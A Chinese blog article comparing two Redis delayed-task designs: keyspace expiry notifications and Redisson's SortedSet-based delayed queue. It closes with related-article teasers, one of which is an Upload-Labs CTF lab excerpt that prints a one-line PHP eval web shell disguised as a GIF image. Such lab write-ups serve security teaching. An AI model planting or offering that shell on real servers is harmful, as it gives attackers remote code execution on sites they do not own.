基于Redis实现延时任务

server/2024/11/20 2:34:32/

在 Redis 中实现延时任务的功能主要有两种方案:Redis 过期事件监听Redisson 内置的延时队列。下面将详细解释这两种方案的原理、优缺点以及面试时需要注意的相关细节。


方案 1:Redis 过期事件监听

实现原理

Redis 从 2.0 版本开始支持**发布/订阅(pub/sub)**功能,这种机制类似于消息队列。Redis 中引入了 channel(频道)的概念,发布者可以向某个频道发布消息,订阅者可以订阅相应的频道以接收消息。

为了实现延时任务功能,Redis 提供了 __keyevent@<db>__:expired 频道,这是一个内置频道,用于监听 key 的过期事件。工作流程如下:

  1. 设置 Key 过期时间:使用 SET key value EX seconds 设置一个带有过期时间的键。
  2. 等待过期事件:当 key 到期并被删除时,Redis 会向 __keyevent@<db>__:expired 频道发布一个过期事件。
  3. 监听频道:延时任务系统可以通过订阅该频道获取过期事件,从而执行对应的延时任务逻辑。
    让我更详细地解释 Redis 的 pub/sub 功能和 __keyevent@<db>__:expired 频道在延时任务中的使用原理。

1. 什么是 Redis 的 pub/sub 机制?

Redis 的 pub/sub(发布/订阅)机制是一种消息通信模式,用于在发布者(Publisher)和订阅者(Subscriber)之间传递消息。具体来说:

  • 发布者:向指定的 channel(频道)发布消息。Redis 负责将消息发送给订阅该 channel 的所有订阅者。
  • 订阅者:通过订阅一个或多个 channel,来接收发布者发送的消息。

pub/sub 的典型特点是实时性

  • 如果在发布消息的瞬间有订阅者在线,那么订阅者会立即接收到消息。
  • 如果发布消息时没有订阅者在线,那么消息直接丢弃,不会存储或等待未来的订阅者。

2. __keyevent@<db>__:expired 频道是什么?

Redis 提供了一些默认的 channel,用来通知特定事件的发生。__keyevent@<db>__:expired 是其中一个默认的 channel,专门用于通知 key 的过期事件

  • key 到期事件:当某个设置了过期时间的 key 被 Redis 删除时(通过惰性删除或定期删除),Redis 会向 __keyevent@<db>__:expired 频道发布一条消息,通知这个 key 已过期。
  • 消息内容:过期消息的内容是过期的 key 名称,订阅者可以根据收到的 key 名称来进行进一步处理,比如执行延时任务。

注意:这个 channel 的作用只是用于通知 key 的过期事件,它不会真正存储 key,也不会记录过期 key 的任何数据。

3. 延时任务是如何使用 __keyevent@<db>__:expired 的?

在需要实现延时任务的场景中,可以利用 Redis 的 __keyevent@<db>__:expired 频道来检测某个 key 是否过期,从而触发相关任务。工作流程如下:

  1. 设置带有过期时间的 key:通过 SET key value EX seconds 命令,将任务信息存储在 Redis 中,同时设置一个过期时间。

    • 比如:SET my_task_key "task_data" EX 60,表示在 60 秒后该 key 过期。
  2. 监听 __keyevent@<db>__:expired 频道:在应用中,启动一个订阅者订阅 __keyevent@<db>__:expired 频道。

    • 一旦该频道发布过期消息,订阅者就会收到这个过期事件的通知,并获得过期 key 的名称(例如 my_task_key)。
  3. 处理过期事件,执行延时任务:收到过期事件后,订阅者可以根据过期 key 的名称,从 Redis 或其他存储中获取任务详情,并执行相应的延时任务。

示例

假设我们想要实现一个任务,在 60 秒后执行。可以按以下步骤进行:

  1. 设置任务

    SET my_task_key "task_data" EX 60
    

    这样 my_task_key 会在 60 秒后自动过期。

  2. 监听过期事件
    在应用中启动一个进程,订阅 __keyevent@<db>__:expired 频道。

    SUBSCRIBE __keyevent@0__:expired
    
  3. 收到过期通知,执行任务
    my_task_key 过期并被 Redis 删除时,__keyevent@0__:expired 频道会发布消息 my_task_key。订阅者收到这个消息后,就可以根据 my_task_key 执行相关任务,比如发送通知、处理数据等。

存在的问题
  1. 时效性差:Redis 过期事件是在服务器实际删除 key 时发布的,而不是在 key 过期的瞬间发布。Redis 使用的是“惰性删除”和“定期删除”策略:

    • 惰性删除:只有当访问 key 时,才会检查并删除已过期的 key。
    • 定期删除:Redis 每隔一段时间随机抽取一批 key 进行过期检查,删除过期的 key,但会控制删除操作的时长和频率,以避免占用过多的 CPU 资源。

    由于这两种删除策略的存在,可能出现 key 实际过期后没有被立即删除的情况,导致延时任务不能准确执行。

  2. 丢失消息:Redis 的 pub/sub 模式不支持持久化。如果在消息发布时没有任何订阅者,消息将被直接丢弃,无法保证消息不丢失。这种缺陷在高并发、多节点部署下尤其明显。如果发布过期事件时没有任何订阅者在监听 __keyevent@<db>__:expired,则该消息会被直接丢弃,订阅者无法事后获取到这条消息。这就是 Redis pub/sub 机制的特性,无法存储和回放消息。

  3. 多实例下消息重复消费:Redis pub/sub 是广播模式,所有订阅者都能接收到消息。当有多个实例订阅同一个频道时,多个实例会收到相同的过期事件,可能导致延时任务的重复消费。多实例架构中,这意味着:如果你有多个应用实例(例如多个微服务或多个分布式进程)都在订阅 keyevent@:expired 频道,当一个 key 过期时,所有订阅者实例都会收到过期事件的通知。每个实例都会独立地处理该过期事件,导致相同的延时任务被执行多次。


方案 2:Redisson 内置的延时队列

实现原理

Redisson 是一个 Redis 的 Java 客户端,提供了很多开箱即用的功能,其中就包括延时队列 RDelayedQueue。Redisson 使用 Redis 的有序集合(SortedSet)来实现延时任务:

  1. 添加任务到延时队列:将延时任务插入到 SortedSet 中,任务的过期时间被设置为分数(score),用于确定任务的触发时间。
  2. 定期扫描过期任务:Redisson 使用 zrangebyscore 命令来查找 SortedSet 中已过期的任务。
  3. 转移到就绪队列:将过期任务从 SortedSet 中移除,并添加到一个阻塞队列(就绪队列)中。
  4. 消费任务:消费端监听就绪队列,任务一旦到达就绪队列即可执行。
优势
  1. 减少丢失消息的可能DelayedQueue 中的消息可以持久化,即使 Redis 意外宕机,根据持久化策略可以在重启后恢复队列中的任务,只可能丢失少量消息,可以通过补偿机制(如定期扫描数据库)来进一步保证消息可靠性。

  2. 无重复消费问题:每个消费端从同一个阻塞队列中获取任务,不存在广播模式下的重复消费问题。Redisson 延时队列采用有序集合 + 阻塞队列组合,可以确保任务只会被消费一次。

  3. 高效率:相比于轮询整个队列,Redisson 延时队列只会扫描符合条件的任务,避免了不必要的操作,提升了性能。

面试优势

当被问到选择 Redisson 延时队列的原因时,可以从以下几个方面解释:

  • 高可靠性:消息不会丢失,保证了任务的准确执行。
  • 去重处理:避免了多实例下的消息重复消费问题。
  • 效率更高:利用 Redis SortedSet 和阻塞队列,降低了系统的性能开销。

可能的面试问题

在选择了 Redisson 延时队列方案后,面试官可能会深入问一些相关问题,比如:

  1. Redis 延时任务的实现原理是什么?为什么使用 SortedSet?

    • 可以回答:Redisson 延时队列使用 Redis 的 SortedSet(有序集合)来存储任务,通过设置每个任务的过期时间作为分数(score),然后使用 zrangebyscore 查找并转移到堵塞就绪队列,确保任务按时间顺序执行。
  2. 如何保证消息不会丢失?

    • 可以回答:Redisson 延时队列的任务会被持久化到 Redis,即使 Redis 宕机,持久化策略会保证数据的恢复。还可以考虑增加补偿机制,如定期扫描数据库,防止极端情况的消息丢失。
  3. 多实例如何避免重复消费?

    • 可以回答:Redisson 延时队列使用阻塞队列来转移已到期的任务,消费端从同一个阻塞队列获取任务,因此不会产生重复消费的问题。
  4. 在实际项目中什么时候选用 Redis 延时队列?什么时候选用消息队列?

    • 可以回答:Redis 延时队列适用于延时精度要求较高、流量较小的延时任务场景;而消息队列(如 RabbitMQ、Kafka)适合处理高吞吐量、大规模的延时任务需求,具备更高的可靠性和分布式能力。

总结

  • Redis 过期事件监听:简单易用,但由于惰性删除和定期删除策略,可能存在时效性差、消息丢失和重复消费问题。
  • Redisson 延时队列:基于 Redis 的 SortedSet 和阻塞队列实现,可靠性高,避免了重复消费问题,更适合生产环境中的延时任务需求。

在实际项目中,优先考虑使用 Redisson 的延时队列或其他专业的消息队列方案,这样可以在可靠性、可维护性和性能上获得更好的表现。


http://www.ppmy.cn/server/143357.html

相关文章

Argo workflow 拉取git 并使用pvc共享文件

文章目录 拉取 Git 仓库并读取文件使用 Kubernetes Persistent Volumes&#xff08;通过 volumeClaimTemplates&#xff09;以及任务之间如何共享数据 拉取 Git 仓库并读取文件 在 Argo Workflows 中&#xff0c;如果你想要一个任务拉取 Git 仓库中的文件&#xff0c;另一个任…

Upload-Labs-Linux1学习笔迹 (图文介绍)

lab 1 前端绕过jpg&#xff0c;后端改php后缀&#xff0c;通过蚁剑连接&#xff0c;在根目录下找到flag&#xff0c; flag{71dc5328-c145-4fbf-a987-4dfb4c1dacd1} //写以下文件a.jpgGIF89 <?php eval($_POST[cmd]); ?> labs 2 $is_upload false; $msg null; if …

工业大数据分析与应用:开启智能制造新时代

在全球工业4.0浪潮的推动下&#xff0c;工业大数据分析已经成为推动智能制造、提升生产效率和优化资源配置的重要工具。通过收集、存储、处理和分析海量工业数据&#xff0c;企业能够获得深刻的业务洞察&#xff0c;做出更明智的决策&#xff0c;并实现生产流程的全面优化。本文…

51c自动驾驶~合集27

我自己的原文哦~ https://blog.51cto.com/whaosoft/11989373 #无图NOA 一场对高精地图的祛魅&#xff01;2024在线高精地图方案的回顾与展望~ 自VectorMapNet以来&#xff0c;无图/轻图的智能驾驶方案开始出现在自动驾驶量产的牌桌上&#xff0c;到如今也有两年多的时间。而…

蓝桥杯每日真题 - 第12天

题目&#xff1a;&#xff08;数三角&#xff09; 题目描述&#xff08;14届 C&C B组E题&#xff09; 解题思路&#xff1a; 给定 n 个点的坐标&#xff0c;计算其中可以组成 等腰三角形 的三点组合数量。 核心条件&#xff1a;等腰三角形的定义是三角形的三条边中至少有…

pytest结合allure做接口自动化

这是一个采用pytest框架&#xff0c;结合allure完成接口自动化测试的项目&#xff0c;最后采用allure生成直观美观的测试报告&#xff0c;由于添加了allure的特性&#xff0c;使得测试报告覆盖的内容更全面和阅读起来更方便。 1. 使用pytest构建测试框架&#xff0c;首先配置好…

游戏引擎学习第九天

视频参考:https://www.bilibili.com/video/BV1ouUPYAErK/ 修改之前的方波数据&#xff0c;改播放正弦波 下面主要讲关于浮点数 1. char&#xff08;字符类型&#xff09; 大小&#xff1a;1 字节&#xff08;8 位&#xff09;表示方式&#xff1a;char 存储的是一个字符的 A…

在MATLAB中实现自适应滤波算法

自适应滤波算法是一种根据信号特性自动调整滤波参数的数字信号处理方法&#xff0c;其可以有效处理噪声干扰和信号畸变问题。在许多实时数据处理系统中&#xff0c;自适应滤波算法得到了广泛应用。在MATLAB中&#xff0c;可以使用多种方法实现自适应滤波算法。本文将介绍自适应…